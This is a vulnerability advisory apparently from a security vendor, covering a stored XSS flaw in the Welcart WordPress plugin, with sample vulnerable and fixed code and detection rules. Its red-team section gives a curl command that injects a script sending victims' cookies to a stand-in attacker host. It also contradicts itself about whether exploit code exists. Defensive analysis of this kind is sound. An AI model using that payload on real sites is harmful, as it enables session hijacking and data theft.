CVE-2025-0511
Executive Summary
CVE-2025-0511 is a Stored Cross-Site Scripting (XSS) vulnerability in the Welcart e-Commerce plugin for WordPress, affecting all versions up to and including 2.11.9. The flaw resides in the name parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious payload. With a CVSS score of 7.2, this vulnerability poses a significant risk to WordPress sites using the Welcart plugin, potentially leading to session hijacking, data theft, or defacement. No public exploit code or patch is currently available, and the vendor has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the Welcart e-Commerce plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is High due to the low attack complexity and lack of authentication requirements. An unauthenticated attacker can inject persistent XSS payloads that execute in the context of any user visiting the affected page, enabling credential theft, session hijacking, or malware distribution.
Deep Dive & Mechanics
The vulnerability exists in the Welcart plugin's handling of the name parameter, likely during product or order creation. The plugin fails to sanitize user-supplied input and does not escape output when rendering the name field in the frontend. This allows an attacker to submit a payload such as:
<script>alert('XSS')</script>
When the payload is stored in the database and later displayed on a page (e.g., order confirmation, product listing), it executes in the browser of any user viewing that page. The attack is unauthenticated, meaning no login is required to inject the payload. The vulnerability is classified as Stored XSS (CWE-79) and can be exploited via HTTP POST requests to endpoints that accept the name parameter.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.11.9):
// Example of vulnerable handling in Welcart plugin
$name = $_POST['name'];
// No sanitization or escaping
echo "<div class='customer-name'>" . $name . "</div>";
Patched Code (hypothetical fix):
// Proper sanitization and escaping
$name = sanitize_text_field( $_POST['name'] );
echo "<div class='customer-name'>" . esc_html( $name ) . "</div>";
The fix involves using WordPress's built-in sanitize_text_field() to strip malicious content and esc_html() to safely encode output. Without an official patch, users must manually apply these changes or use a Web Application Firewall (WAF) to block malicious input.
Exploitation & Lab Setup
Red Team (Exploitation)
To exploit this vulnerability, an attacker sends a crafted HTTP POST request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or a custom Welcart form). Example using curl:
curl -X POST http://target-site/wp-admin/admin-ajax.php \
-d "action=welcart_process_order&name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
The payload will be stored and executed when an administrator or customer views the order details page. No authentication is required.
Blue Team (Detection & Mitigation)
- Web Application Firewall (WAF): Deploy rules to block
<script>tags and common XSS patterns in thenameparameter. - Input Validation: Implement server-side sanitization using
sanitize_text_field()and output escaping withesc_html(). - Content Security Policy (CSP): Add a CSP header to restrict script execution.
- Monitor Logs: Look for unusual POST requests containing JavaScript payloads in the
namefield.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=welcart_process_orderandnameparameter containing<script>tags. - Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/welcart-e-commerce/containing injected JavaScript.
- Modified plugin files in
- Database IOCs:
- Entries in the
wp_welcart_ordersor similar tables withnamefields containing HTML/JavaScript.
- Entries in the
Detection Engineering
YARA Rule
rule CVE_2025_0511_Welcart_XSS {
meta:
description = "Detects stored XSS payloads in Welcart plugin name parameter"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-0511"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$welcart_name = /name\s*=\s*["'][^"']*<script/i
condition:
$xss_payload or $welcart_name
}
Sigma Rule
title: Welcart Stored XSS via name Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with XSS payloads in the name parameter targeting Welcart plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=welcart_process_order'
cs-uri-query|contains: 'name='
cs-uri-query|re: 'name=.*<script'
condition: selection
falsepositives:
- Legitimate use of HTML in name fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0511 Welcart Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=welcart_process_order"; http_client_body; content:"name="; pcre:"/name=[^&]*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Welcart plugin until a patch is available.
- Manual Patching: Apply input sanitization and output escaping to all
nameparameter handling in the plugin's PHP files. - WAF Rules: Deploy virtual patching via a WAF to block XSS payloads in the
namefield. - User Education: Advise administrators to avoid clicking on suspicious links and to monitor for unusual activity.
- Monitor for Updates: Subscribe to the Welcart plugin's changelog for an official fix.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.